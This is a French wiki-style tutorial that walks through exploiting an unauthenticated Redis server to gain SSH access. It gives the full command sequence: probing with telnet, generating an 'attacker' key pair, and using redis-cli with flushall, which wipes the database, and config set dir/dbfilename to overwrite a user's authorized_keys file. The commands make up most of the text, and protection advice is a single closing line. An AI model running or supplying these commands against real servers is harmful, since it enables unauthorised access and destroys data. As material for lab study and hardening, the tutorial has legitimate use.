** Exploitation de Redis** **1.Presentation** Redis est un système de cache performant fonctionnant sur les serveurs. Son port par défaut est le 6379. Ici nous présenterons comment détecter un serveur redis sans authentification et comment l'exploiter pour obtenir un shell. **2.Exploitation** __2.1 Etape 1 : Tester si le serveur redis utilise une authentification__ telnet 192.168.43.7 {{ :web:redis1.png?nolink |}} Nous remarquons que nous pouvons executer des commandes sur le serveur redis. Nous recupérons des infos comme l'os du système avec sa version de noyau. __2.1 Etape 2 : Trouver un repertoire user valide__ Nous utilisons le client redis pour se connecter sur la machine redis-cli -h 192.168.43.7 {{ :web:redis2.png?nolink |}} Il faut faire un script qui va essayer une liste d'username jusqu'à trouver un dossier existant. Dans notre cas l'utilisateur user existe. __2.1 Etape 3 : Création d'une clé ssh__ Le but de l'étape est de créer une paire de clé ssh pour remplacer celle de l'utilisateur sur le serveur. ssh-keygen -t rsa -C "user@192.168.43.7" Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in attacker. Your public key has been saved in attacker.pub. The key fingerprint is: f1:09:f3:e2:19:75:a1:60:a9:8e:39:df:4a:39:00:8f user@192.168.43.7 The key's randomart image is: +---[RSA 2048]----+ | o. . | | ... . . | | . .+ o . | | + . B o | | E o+ S + | | +..o + | | o+.o | | .... | | .. | +-----------------+ Nous avons maintenant notre clé publique attacker.pub et la privé attacker. Il faut préparer la clé pour que l'on puisse la remplacer ensuite : (echo -e "\n\n"; cat attacker.pub; echo -e "\n\n") > foo.txt __2.1 Etape 4 : Remplacement de la clé ssh sur le serveur__ On se positionne dans le dossier .ssh de l'utilisateur : redis-cli -h 192.168.43.7 config set dir "/home/user/.ssh" On supprime les anciennes clé de la bdd : redis-cli -h 192.168.43.7 flushall On envoie notre nouvelle clé sur le serveur : cat foo.txt | redis-cli -h 192.168.43.7 -x set sshblob On définit le nouveau fichier de clé : redis-cli -h 192.168.43.7 config set dbfilename authorized_keys On sauvegarde : redis-cli -h 192.168.43.7 save __2.1 Etape 5 : Connexion sur le serveur à l'aide de notre clé privé__ ssh -i attacker -l user 192.168.43.7 **3.Comment se protéger** Ajouter une authentification forte sur votre serveur redis. Source : [[http://antirez.com/news/96]]